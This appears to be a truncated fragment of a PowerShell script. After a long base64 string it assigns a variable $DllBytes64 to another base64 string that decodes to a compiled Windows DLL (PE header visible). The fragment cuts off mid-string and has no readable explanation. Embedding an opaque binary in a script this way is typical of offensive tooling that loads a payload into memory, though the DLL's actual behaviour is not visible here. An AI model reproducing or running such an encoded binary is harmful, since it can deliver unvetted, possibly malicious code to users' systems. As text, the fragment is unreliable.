UOxg7HDsgOyQ7KDswOzQ7YDsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $DllBytes64 = "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